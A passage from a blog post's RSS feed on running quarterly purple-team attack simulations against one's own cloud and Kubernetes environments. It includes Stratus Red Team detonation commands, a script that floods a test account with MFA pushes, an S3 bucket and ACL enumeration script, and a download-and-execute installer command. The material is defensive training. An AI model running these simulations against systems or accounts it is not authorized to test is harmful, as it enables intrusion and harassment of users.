<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Purple Team Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/purple-team/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/purple-team/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Mon, 06 Jul 2026 21:32:09 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.1</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>Purple Team Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/purple-team/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>Continuous Purple Team Testing: Attack Simulations for Your Own Infrastructure</title>
		<link>https://linuxcent.com/continuous-purple-team-testing-infrastructure/</link>
					<comments>https://linuxcent.com/continuous-purple-team-testing-infrastructure/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 10 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Attack Simulation]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Detection Engineering]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Security Testing]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1879</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span>Continuous purple team testing cuts detection time exercise-over-exercise. How to run structured attack simulations against your own cloud and Kubernetes environment every quarter.</p>
<p>The post <a href="https://linuxcent.com/continuous-purple-team-testing-infrastructure/">Continuous Purple Team Testing: Attack Simulations for Your Own Infrastructure</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What Is Purple Team?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 in the Cloud</a> → <a href="/cloud-security-breaches-2020-2025/">Breach Landscape 2020–2025</a> → <a href="/broken-access-control-aws-cloud/">Broken Access Control</a> → <a href="/mfa-fatigue-attack-uber-okta/">MFA Fatigue</a> → <a href="/cicd-secrets-exposure-pipeline/">CI/CD Secrets</a> → <a href="/ssrf-cloud-metadata-imdsv1-capital-one/">SSRF to IMDS</a> → <a href="/kubernetes-container-escape-attack-paths/">Container Escape</a> → <a href="/supply-chain-attack-detection-solarwinds-xz/">Supply Chain Attacks</a> → <a href="/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement</a> → <a href="/detection-engineering-ebpf-kernel-visibility/">Detection Engineering with eBPF</a> → <a href="/cloud-incident-response-playbook-24-hours/">Cloud IR Playbook</a> → <strong>Continuous Purple Team Testing</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Continuous purple team testing infrastructure</strong> is the practice of running structured attack simulations against your own environment on a quarterly cadence — not as an annual audit, but as an operational discipline</li>
<li>Detection time drops exercise-over-exercise when the same technique is simulated repeatedly: the same cross-account <code class="" data-line="">AssumeRole</code> technique that took 4 hours to detect in Q4 took 8 minutes by Q2 the following year</li>
<li>The toolchain is open source: Atomic Red Team (ATT&amp;CK-mapped) for host-level techniques, Stratus Red Team for cloud-native attack simulations, and custom scripts for what neither covers</li>
<li>The debrief template — not the tool — is what turns a simulation into a detection improvement; document what fired, what didn&#8217;t, and why before closing the exercise</li>
<li>Mean time to detect (MTTD) per technique is the only metric that tells you whether the program is working</li>
<li>Frequency of simulation is the independent variable; better tooling and more headcount are not — how often you practice determines how fast you detect</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> Cross-cutting — this episode validates defenses against every OWASP Top 10 category covered in this series. EP04 (A01 Broken Access Control), EP05 (A07 Auth Failures), EP06 (A08 Software Integrity), EP07 (A10 SSRF), EP08 (A05 Misconfiguration), EP09 (A06 Vulnerable Components), EP10 (A01 lateral movement), EP11 (A09 Monitoring Failures). Continuous purple team testing is how you verify your fixes for all of them actually hold under simulation.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│              QUARTERLY PURPLE TEAM CYCLE                            │
│                                                                     │
│    ┌─────────┐    ┌──────────┐    ┌──────────┐    ┌─────────────┐  │
│    │  PLAN   │───&#x25b6;│ SIMULATE │───&#x25b6;│  DETECT  │───&#x25b6;│   DEBRIEF   │  │
│    │         │    │          │    │  (or miss)│    │             │  │
│    │ • Scope │    │ Red runs │    │           │    │ What fired? │  │
│    │ • Safety│    │ technique│    │ Blue logs │    │ What didn&#039;t?│  │
│    │ • Week 1│    │ • Week 2 │    │ results   │    │ • Week 3    │  │
│    └─────────┘    └──────────┘    └──────────┘    └──────┬──────┘  │
│                                                           │         │
│         ┌─────────────────────────────────────────────────┘         │
│         │                                                           │
│         ▼                                                           │
│    ┌─────────┐    ┌──────────┐                                      │
│    │   FIX   │───&#x25b6;│  REPEAT  │&#x25c0;──── same technique, updated rules  │
│    │         │    │          │                                      │
│    │ • Rules │    │ Does it  │                                      │
│    │ • Config│    │ catch it │                                      │
│    │ • Week 4│    │ now?     │                                      │
│    └─────────┘    └──────────┘                                      │
│                                                                     │
│    OUTCOME: MTTD drops exercise-over-exercise                       │
│    When MTTD &lt; 10 min: retire technique, rotate in the next one     │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>Continuous <strong>purple team testing infrastructure</strong> is not a tool you buy or a team you staff. It is a cadence — the same attack path, run repeatedly against your own environment, until detection time drops to a point where the attacker has no useful dwell time.</p>
<hr />
<h2 id="from-ep01-to-ep13-the-arc">From EP01 to EP13: The Arc</h2>
<p>In EP01, I described a red team engagement where the blue team took 11 days to detect a compromise. The red team used real techniques. The blue team had all the relevant logs. The detection logic just wasn&#8217;t tuned to the specific patterns in this specific environment.</p>
<p>That was the same environment, the same attacker playbook, and the same blue team I am about to describe.</p>
<p>Six months later, same scope. Same techniques. The blue team detected in 22 minutes.</p>
<p>Not because they hired anyone new. Not because they switched SIEMs. Not because they bought a new detection product. Because in the intervening six months, they ran four purple team exercises — one per quarter — using the techniques from the first engagement as the test backlog.</p>
<p>Exercise 1: 11 days → 4 hours. Detection rule didn&#8217;t exist. Wrote it on the spot during debrief.</p>
<p>Exercise 2: 4 hours → 47 minutes. Rule existed but had a misconfigured threshold that generated false negatives. Fixed during debrief.</p>
<p>Exercise 3: 47 minutes → 38 minutes. Marginal improvement — the technique was becoming well-detected. Rotated in a new technique.</p>
<p>Exercise 4 (new technique): baseline 4+ hours. Same cycle begins.</p>
<p>The number 22 minutes — which is where the original technique sits now — is not a product of better tooling. It is the product of running the simulation four times and fixing the gap found each time.</p>
<p>That is the arc of this series. EP01 defined the practice. EP02 through EP12 gave you the attack backlog. EP13 gives you the program to run them.</p>
<hr />
<h2 id="building-the-exercise-program">Building the Exercise Program</h2>
<h3 id="cadence-the-three-loops">Cadence: The Three Loops</h3>
<p>Most organizations treat purple team as an event. An annual penetration test reframed as &#8220;collaborative.&#8221; One event per year produces one point of data. One point of data is not a trend.</p>
<p>The program that actually moves MTTD operates in three nested loops:</p>
<p><strong>Quarterly exercises</strong> — full simulations with red executing and blue observing. Four per year minimum. Each exercise covers one attack path end-to-end, with timestamps, debrief, and detection rule updates. This is the primary loop.</p>
<p><strong>Monthly tabletop drills</strong> — no infrastructure required. Two hours. Pull one technique from the backlog, walk through it verbally: &#8220;Where would this show up in our logs? What would the CloudTrail event look like? Do we have a rule? What&#8217;s the threshold?&#8221; No simulation, just shared mental model. Catches drift in detection logic before the quarterly exercise finds it the hard way.</p>
<p><strong>Weekly detection rule reviews</strong> — 15-minute async. Run the detection queries that should fire for your most recent exercises. Do they still return results? Rules that worked in October can silently stop working in January when a Terraform apply changes a logging configuration or a GuardDuty region setting drifts. Drift happens without review.</p>
<p>The quarterly exercise is the load-bearing loop. Monthly tabletops and weekly reviews keep it from regressing between exercises.</p>
<h3 id="the-four-week-exercise-structure">The Four-Week Exercise Structure</h3>
<p>Each quarterly exercise follows the same four-week structure. Deviating from it is how exercises turn into ad hoc sessions with no durable output.</p>
<pre><code class="" data-line="">Week 1: Scope Agreement
──────────────────────
□ Which attack path from this series are we testing?
□ Which systems are in scope (account IDs, namespaces, node names)?
□ Circuit breaker: who can call off the exercise and how?
  (One named person. A Slack DM or phone call — not a ticket.)
□ Safety controls: are test accounts isolated from prod data paths?
□ Notification: who needs to know this is happening?
  (Cloud provider account team if large-scale, internal leadership)
□ Pre-exercise baseline: run detection queries now and record results


Week 2: Red Executes, Blue Observes
────────────────────────────────────
□ Red team runs the technique — with the actual tool and actual commands
□ Blue team is watching the SIEM / CloudTrail / Falco / GuardDuty
  in real time during execution
□ Both sides timestamp everything:
  [HH:MM] Technique started
  [HH:MM] First observable artifact (log entry, network event)
  [HH:MM] Alert fired (or: no alert)
  [HH:MM] Blue team acknowledged
□ Do NOT wait until the end to compare notes — call out gaps in real time


Week 3: Debrief and Rule Update
────────────────────────────────
□ Walk through the timeline together — not red presenting to blue
□ For each gap: what data existed? why didn&#039;t the rule fire?
  (Data existed + rule wrong: fix the rule)
  (Data existed + rule missing: write the rule)
  (Data didn&#039;t exist: fix the logging configuration)
□ Write or update detection rules during the debrief — not as a follow-up ticket
□ Update the runbook: what does the analyst do when this alert fires?
□ Commit all rule changes to version control before the debrief ends


Week 4: Re-Run and Verify
──────────────────────────
□ Red runs the same technique again — no changes to the attack
□ Does the updated detection catch it?
□ Record new MTTD
□ If yes: mark technique as covered, add to retirement queue when MTTD &lt; 10 min
□ If no: iterate — another week of rule work, another re-run
□ Set date and technique for next quarter&#039;s exercise
</code></pre>
<p>The re-run in Week 4 is not optional. A detection rule written during a debrief and never verified against the actual technique may be logically correct and syntactically wrong, or may fire on a slightly different variant. You don&#8217;t know until you run the attack again.</p>
<h3 id="the-10-attack-rotation-from-this-series">The 10-Attack Rotation from This Series</h3>
<p>The techniques in this table are the exercise backlog built across EP04–EP12. Run them in order — or reorder based on your current threat model. The MTTD column is blank until you run the exercise and fill it in.</p>
<table>
<thead>
<tr>
<th>Quarter</th>
<th>Attack Path</th>
<th>Source Episode</th>
<th>MTTD (Baseline)</th>
<th>MTTD (After Exercise)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Q1 2026</td>
<td>SSRF to EC2 IMDS (IMDSv2 enforcement check)</td>
<td>EP07</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q2 2026</td>
<td>MFA fatigue simulation against test account</td>
<td>EP05</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q3 2026</td>
<td>Container escape via <code class="" data-line="">--privileged</code> pod</td>
<td>EP08</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q4 2026</td>
<td>Cross-account <code class="" data-line="">sts:AssumeRole</code> lateral movement</td>
<td>EP10</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q1 2027</td>
<td>CI/CD secrets exposure via environment variable leak</td>
<td>EP06</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q2 2027</td>
<td>S3 public access misconfiguration (broken access control)</td>
<td>EP04</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q3 2027</td>
<td>Supply chain: unsigned artifact injection into pipeline</td>
<td>EP09</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q4 2027</td>
<td>eBPF-visible process anomaly (persistence via cron)</td>
<td>EP11</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q1 2028</td>
<td>CloudTrail disable + GuardDuty suppression</td>
<td>EP12</td>
<td>—</td>
<td>—</td>
</tr>
<tr>
<td>Q2 2028</td>
<td>Full path: SSRF → IMDS → AssumeRole → S3 exfil</td>
<td>EP07 + EP10</td>
<td>—</td>
<td>—</td>
</tr>
</tbody>
</table>
<p>Fill in the MTTD columns as you run. That table, populated over two years, is your program&#8217;s evidence of improvement. It is also what you show an auditor, a CISO, or a board when asked &#8220;how do you know your security controls work?&#8221;</p>
<hr />
<h2 id="the-toolchain">The Toolchain</h2>
<h3 id="atomic-red-team-attck-mapped-host-techniques">Atomic Red Team (ATT&amp;CK-Mapped Host Techniques)</h3>
<p><a href="https://github.com/redcanaryco/atomic-red-team">Atomic Red Team</a> is Red Canary&#8217;s library of ATT&amp;CK-mapped attack simulations. Each atomic test maps to a specific MITRE technique, lists the required permissions, and runs as a self-contained script. The library covers over 900 techniques across Linux, macOS, and Windows.</p>
<pre><code class="" data-line="">pwsh -Command &quot;Install-Module -Name invoke-atomicredteam -Scope CurrentUser -Force&quot;

# Install the Atomics folder (the actual test library)
pwsh -Command &quot;Invoke-Expression (IWR &#039;https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1&#039; -UseBasicParsing)&quot;

# List all techniques available for Linux
pwsh -Command &quot;Invoke-AtomicTest All -ShowDetailsBrief -OS linux&quot;

# Inspect a specific technique before running (T1078: Valid Accounts)
pwsh -Command &quot;Invoke-AtomicTest T1078 -ShowDetails&quot;

# Run test #1 for T1078 (shows what commands execute — dry run first)
pwsh -Command &quot;Invoke-AtomicTest T1078 -TestNumbers 1 -CheckPrereqs&quot;

# Execute the test
pwsh -Command &quot;Invoke-AtomicTest T1078 -TestNumbers 1&quot;

# Clean up after the test
pwsh -Command &quot;Invoke-AtomicTest T1078 -TestNumbers 1 -Cleanup&quot;
</code></pre>
<p>For the exercises in this series, the most relevant atomic techniques are:</p>
<table>
<thead>
<tr>
<th>MITRE Technique</th>
<th>ID</th>
<th>Covers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td>T1078</td>
<td>EP05 (credential reuse)</td>
</tr>
<tr>
<td>Cloud Instance Metadata API</td>
<td>T1552.005</td>
<td>EP07 (IMDS access)</td>
</tr>
<tr>
<td>Container Administration Command</td>
<td>T1609</td>
<td>EP08 (exec into container)</td>
</tr>
<tr>
<td>Steal Application Access Token</td>
<td>T1528</td>
<td>EP06 (CI/CD token theft)</td>
</tr>
<tr>
<td>Account Discovery</td>
<td>T1087.004</td>
<td>EP04, EP10 (IAM enumeration)</td>
</tr>
</tbody>
</table>
<h3 id="stratus-red-team-cloud-native-attack-simulations">Stratus Red Team (Cloud-Native Attack Simulations)</h3>
<p><a href="https://github.com/DataDog/stratus-red-team">Stratus Red Team</a> is DataDog&#8217;s cloud-specific attack simulation framework. Unlike Atomic Red Team (which focuses on host techniques), Stratus covers AWS, GCP, Azure, and Kubernetes attack paths using the actual cloud APIs — the same calls an attacker would make.</p>
<pre><code class="" data-line=""># Install (requires Go 1.21+)
go install github.com/DataDog/stratus-red-team/v2/cmd/stratus@latest

# Verify
stratus version

# List all available techniques
stratus list

# List AWS-specific techniques only
stratus list --platform aws

# List Kubernetes techniques
stratus list --platform kubernetes

# Get details on a specific technique before running
stratus show aws.credential-access.ec2-get-user-data
</code></pre>
<p>The workflow for each Stratus technique is: warm up (provision prerequisites) → detonate (execute the attack) → cleanup (remove artifacts). Never skip cleanup.</p>
<pre><code class="" data-line=""># EP07 exercise: SSRF to IMDS credential access simulation
# Warm up (provisions a test EC2 instance)
stratus warmup aws.credential-access.ec2-get-user-data

# Detonate: simulates accessing EC2 user data to extract credentials
stratus detonate aws.credential-access.ec2-get-user-data

# At this point: check CloudTrail for GetUserData events
# Check GuardDuty for credential access findings
# Record whether your detection fired and when

# Cleanup (terminates the test instance)
stratus cleanup aws.credential-access.ec2-get-user-data
</code></pre>
<pre><code class="" data-line=""># EP10 exercise: cross-account role assumption
stratus warmup aws.lateral-movement.ec2-instance-connect
stratus detonate aws.lateral-movement.ec2-instance-connect

# Detection check: look for AssumeRole events from unexpected principals
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time $(date -d &#039;1 hour ago&#039; -u +%Y-%m-%dT%H:%M:%SZ) \
  --query &#039;Events[].{Time:EventTime,User:Username,Source:SourceIPAddress}&#039; \
  --output table

stratus cleanup aws.lateral-movement.ec2-instance-connect
</code></pre>
<pre><code class="" data-line=""># EP08 exercise: Kubernetes container escape simulation
stratus warmup k8s.privilege-escalation.privileged-pod
stratus detonate k8s.privilege-escalation.privileged-pod

# Detection check: Falco should fire container_escape_detection
# Check kubectl audit logs for privileged pod creation
kubectl get events --field-selector reason=Created -A | grep -i privileged

stratus cleanup k8s.privilege-escalation.privileged-pod
</code></pre>
<p>The full Stratus technique list as of this writing covers 50+ AWS techniques and 10+ Kubernetes techniques. Run <code class="" data-line="">stratus list</code> after installing to see what&#8217;s current — the library is actively maintained and new techniques are added when new attack patterns emerge in the wild.</p>
<h3 id="building-custom-simulation-scripts">Building Custom Simulation Scripts</h3>
<p>Atomic Red Team and Stratus don&#8217;t cover everything. MFA fatigue in particular requires tooling specific to your identity provider. Build simple, focused scripts for the gaps.</p>
<pre><code class="" data-line="">#!/bin/bash
# simulate-mfa-fatigue.sh
# Simulates an MFA fatigue attack by triggering repeated push notifications
# to a test account. Run ONLY against a designated test user — never a real
# employee account. The test account should have MFA enabled but no access
# to any production systems.
#
# Usage: ./simulate-mfa-fatigue.sh &lt;test-user-email&gt; &lt;idp-test-api-endpoint&gt;
# Example: ./simulate-mfa-fatigue.sh test-mfa@yourorg.com https://idp.internal/test/push

TEST_USER=&quot;${1:-test-mfa-fatigue@yourorg.com}&quot;
IDP_ENDPOINT=&quot;${2:-}&quot;
PUSH_COUNT=10
PUSH_INTERVAL=30  # seconds between pushes

if [ -z &quot;$IDP_ENDPOINT&quot; ]; then
  echo &quot;ERROR: IDP test API endpoint required as second argument&quot;
  exit 1
fi

echo &quot;MFA fatigue simulation&quot;
echo &quot;Target user: $TEST_USER&quot;
echo &quot;Push count: $PUSH_COUNT&quot;
echo &quot;Interval: ${PUSH_INTERVAL}s&quot;
echo &quot;&quot;
echo &quot;Blue team: watch for repeated MFA push events in your IdP logs&quot;
echo &quot;Detection signal: &gt;3 push requests to the same user within 5 minutes&quot;
echo &quot;&quot;

START_TIME=$(date -u +%Y-%m-%dT%H:%M:%SZ)
echo &quot;[$(date -u +%H:%M:%S)] Simulation started — timestamp this for your debrief&quot;

for i in $(seq 1 $PUSH_COUNT); do
  echo &quot;[$(date -u +%H:%M:%S)] Sending push request $i of $PUSH_COUNT...&quot;

  # Trigger push via your IdP&#039;s test/simulation API
  # Okta example: POST /api/v1/authn/factors/{factorId}/verify
  # Replace with your IdP&#039;s actual test endpoint
  HTTP_STATUS=$(curl -s -o /dev/null -w &quot;%{http_code}&quot; \
    -X POST &quot;$IDP_ENDPOINT&quot; \
    -H &quot;Content-Type: application/json&quot; \
    -d &quot;{\&quot;username\&quot;: \&quot;$TEST_USER\&quot;, \&quot;factor\&quot;: \&quot;push\&quot;, \&quot;simulation\&quot;: true}&quot;)

  echo &quot;    Response: HTTP $HTTP_STATUS&quot;

  if [ &quot;$i&quot; -lt &quot;$PUSH_COUNT&quot; ]; then
    sleep &quot;$PUSH_INTERVAL&quot;
  fi
done

END_TIME=$(date -u +%Y-%m-%dT%H:%M:%SZ)
echo &quot;&quot;
echo &quot;[$(date -u +%H:%M:%S)] Simulation complete&quot;
echo &quot;Start: $START_TIME&quot;
echo &quot;End:   $END_TIME&quot;
echo &quot;&quot;
echo &quot;Blue team: check IdP logs for push events in this window&quot;
echo &quot;Expected detection: alert on &gt;3 MFA pushes to single user in 5 min&quot;
</code></pre>
<pre><code class="" data-line="">#!/bin/bash
# simulate-s3-enum.sh
# Simulates the access pattern of an attacker enumerating S3 buckets
# after obtaining IAM credentials. Run in a test AWS account only.
# Purpose: verify CloudTrail ListBuckets and GetBucketAcl events fire
# and that your detection rule catches credential-based enumeration.

echo &quot;[$(date -u +%H:%M:%S)] S3 enumeration simulation starting&quot;
echo &quot;Blue team: watch CloudTrail for ListBuckets from unexpected IAM principal&quot;

# Enumerate buckets
echo &quot;[$(date -u +%H:%M:%S)] ListBuckets...&quot;
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text

# Attempt to read bucket ACLs (generates GetBucketAcl events)
echo &quot;[$(date -u +%H:%M:%S)] Checking ACLs...&quot;
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read -r bucket; do
    aws s3api get-bucket-acl --bucket &quot;$bucket&quot; 2&gt;/dev/null | \
      jq -r &#039;.Grants[].Grantee | select(.URI != null) | .URI&#039; | \
      grep -q &quot;AllUsers&quot; &amp;&amp; echo &quot;PUBLIC ACL: $bucket&quot;
  done

echo &quot;[$(date -u +%H:%M:%S)] Enumeration complete — check CloudTrail now&quot;
</code></pre>
<p>The pattern for custom scripts: timestamp every action, print what the blue team should be watching for, clean up after execution. A simulation script that leaves test resources running is how exercises create incidents instead of preventing them.</p>
<hr />
<h2 id="measuring-progress">Measuring Progress</h2>
<p>The metric that matters is MTTD per technique, tracked over time. Everything else — alert count, tool coverage, headcount — is a proxy.</p>
<pre><code class="" data-line="">MTTD tracking table: Cross-Account AssumeRole (EP10)
─────────────────────────────────────────────────────
Exercise   Date      Technique              MTTD      Notes
─────────────────────────────────────────────────────
Q4 2025    Oct 12    Cross-acct AssumeRole  4 hours   No detection rule existed
Q1 2026    Jan 18    Cross-acct AssumeRole  45 min    Rule written, threshold wrong
Q2 2026    Apr 5     Cross-acct AssumeRole  8 min     Threshold fixed, alert configured
─────────────────────────────────────────────────────
Status: MTTD &lt; 10 min achieved — technique retired from rotation
Next: Rotate in CI/CD secrets exposure (EP06)
</code></pre>
<p>When MTTD falls below 10 minutes for a technique, retire it from the quarterly rotation. Add it to a &#8220;verified coverage&#8221; list. Run it annually to confirm the detection hasn&#8217;t regressed. Rotate a new technique from the backlog into the quarterly slot.</p>
<p>Ten minutes is the threshold because below that, an attacker executing this technique in your environment has less dwell time than it takes them to pivot to the next stage. It&#8217;s not a hard security boundary — it is a practical operational signal that the technique is well-detected enough to stop driving your exercise cadence.</p>
<p>Track coverage at the series level:</p>
<pre><code class="" data-line=""># Create a coverage tracking file
cat &gt; ~/purple-team-coverage.txt &lt;&lt; &#039;EOF&#039;
Technique                      Episode  Status          MTTD
──────────────────────────────────────────────────────────────
S3 public access (broken ACL)  EP04     Not started     —
MFA fatigue                    EP05     Not started     —
CI/CD secrets (env var leak)   EP06     Not started     —
SSRF to IMDS                   EP07     Not started     —
Container escape (privileged)  EP08     Not started     —
Supply chain (unsigned build)  EP09     Not started     —
Cross-account AssumeRole       EP10     Not started     —
Process anomaly (eBPF-visible) EP11     Not started     —
CloudTrail disable             EP12     Not started     —
Full chain (EP07 + EP10)       EP07+10  Not started     —
EOF
</code></pre>
<p>Update the status column after each exercise. &#8220;Not started&#8221; → &#8220;In rotation&#8221; → &#8220;MTTD: X min&#8221; → &#8220;Retired (&lt; 10 min)&#8221;. That file, kept in version control, is the program&#8217;s durable record.</p>
<hr />
<h2 id="the-debrief-template">The Debrief Template</h2>
<p>The debrief is where the detection improvement happens. Without structure, debriefs turn into post-mortems that produce action items nobody closes. Use this template — fill it out during the debrief, not after.</p>
<pre><code class="" data-line=""># Purple Team Exercise Debrief

Exercise:      [name, e.g. &quot;SSRF to IMDS — Q1 2026&quot;]
Date:          [YYYY-MM-DD]
Attack path:   [from which EP, e.g. &quot;EP07: SSRF to Cloud Metadata&quot;]
Participants:  [red team members] / [blue team members]

## Timeline

| Time (UTC) | Event |
|------------|-------|
| HH:MM      | Attack started |
| HH:MM      | First observable artifact (specify: log entry / network event / process spawn) |
| HH:MM      | Alert fired in [tool] — or: no alert |
| HH:MM      | Blue team acknowledged |
| HH:MM      | Exercise concluded |

MTTD this exercise: [X hours / Y minutes / not detected]

## What Fired

- [Tool]: [Alert name / rule name] — fired at [HH:MM], [latency] after attack started
- [Tool]: [Alert name] — fired at [HH:MM]

## What Should Have Fired and Didn&#039;t

- [Expected detection] — root cause: [rule missing / rule wrong / data missing / log not ingested]
- [Expected detection] — root cause: [...]

## Root Cause of Gaps

1. [Gap 1]: [Why the detection didn&#039;t exist or didn&#039;t work — be specific]
2. [Gap 2]: [...]

## Actions

- [ ] Write detection rule for [gap] — owner: [name] — due: [date]
- [ ] Update runbook [X] to include response steps for [alert] — owner: [name]
- [ ] Fix configuration: [Y] — owner: [name] — due: [date]
- [ ] Commit all rule changes to [repo/path] — owner: [name] — due: today

## Re-Run Result (Week 4)

Date:          [YYYY-MM-DD]
MTTD:          [X minutes]
Detection:     [fired / did not fire]
Notes:         [what changed, what&#039;s still open]

## Next Exercise

Date:          [target quarter start]
Technique:     [from backlog]
Source:        [EP number]
</code></pre>
<p>The most important line in this template is &#8220;due: today&#8221; for committing rule changes to version control. Detection improvements that live only in the SIEM&#8217;s web UI get overwritten by the next infrastructure apply or the next policy sync. They disappear without a trace, and the next exercise finds the same gap again.</p>
<hr />
<h2 id="series-closer-what-this-series-taught">Series Closer: What This Series Taught</h2>
<p>Looking back across all 13 episodes:</p>
<ul>
<li><strong>EP01</strong> — Purple team is a practice, not a team. Red executes, blue observes, both debrief together.</li>
<li><strong>EP02</strong> — OWASP Top 10 applies to infrastructure. Every category has a cloud-native equivalent.</li>
<li><strong>EP03</strong> — The 2020–2025 breach landscape is three themes: identity, supply chain, misconfiguration.</li>
<li><strong>EP04</strong> — Broken access control is the most common failure. IAM wildcards and public S3 buckets are the infrastructure form.</li>
<li><strong>EP05</strong> — MFA fatigue exploits push-based MFA UX. The fix is hardware keys — not training.</li>
